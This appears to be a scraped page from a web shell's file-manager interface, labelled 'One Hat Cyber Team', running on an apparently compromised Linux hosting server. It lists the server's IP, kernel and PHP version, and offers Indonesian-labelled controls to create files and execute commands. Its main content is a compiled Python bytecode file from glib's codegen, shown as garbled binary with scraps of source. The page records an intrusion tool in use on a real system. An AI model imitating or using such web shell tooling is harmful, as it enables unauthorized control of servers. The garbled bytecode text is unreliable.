⚝
One Hat Cyber Team
⚝
Your IP:
3.144.6.159
Server IP:
97.74.87.16
Server:
Linux 16.87.74.97.host.secureserver.net 5.14.0-503.38.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Apr 18 08:52:10 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.2.28
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
glib-2.0
/
codegen
/
__pycache__
/
View File Name :
codegen.cpython-39.opt-1.pyc
a ]xa�� � @ s� d dl mZ d dl mZ d dl mZ d dlmZ dZdd� Zdd � ZG d d� d�ZG dd � d �Z G dd� d�Z G dd� d�ZdS )� )�config)�utils)� dbustypes)�print_errorz�/* * This file is generated by gdbus-codegen, do not modify it. * * The license of this code is the same as for the D-Bus interface description * it was derived from. Note that it links to GLib, so must comply with the * LGPL linking clauses. */ c C sx | }t | �dkrft�| �r@| �dd�}| �� d }| �� d }qnt�| ��� d }t�| ��� d }nd}d}|||fS )N� �_� )�lenr Zis_ugly_case�replace�upper�lowerZcamel_case_to_uscore)� namespace�ns�ns_upper�ns_lower� r �&/usr/share/glib-2.0/codegen/codegen.py�generate_namespace* s r c s d� d� t� fdd�| �� ��S )NZ$0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZr c s | � v r| S dS )Nr r )�c�Zsafe_valid_charsr r �<lambda>@ � z'generate_header_guard.<locals>.<lambda>)�join�mapr )�header_namer r r �generate_header_guard; s �r c @ s4 e Zd Zdd� Zdd� Zdd� Zdd� Zd d � ZdS )�HeaderCodeGeneratorc C sX || _ t|�\| _| _| _|| _|| _t|�| _|| _ || _ || _| | _| | _ || _d S �N)�ifacesr r r r �generate_objmanager�generate_autocleanupr �header_guard�input_files_basenames� use_pragma�glib_min_required�symbol_decorator�symbol_decorator_header�outfile)�selfr r r r r r"